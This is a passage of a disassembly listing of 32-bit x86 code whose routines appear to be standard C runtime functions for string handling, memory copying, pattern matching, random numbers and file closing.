Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_433C20, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_433C20 imul eax, 343FDh add eax, 269EC3h mov dword_433C20, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_433E7C, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_433E7C, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; 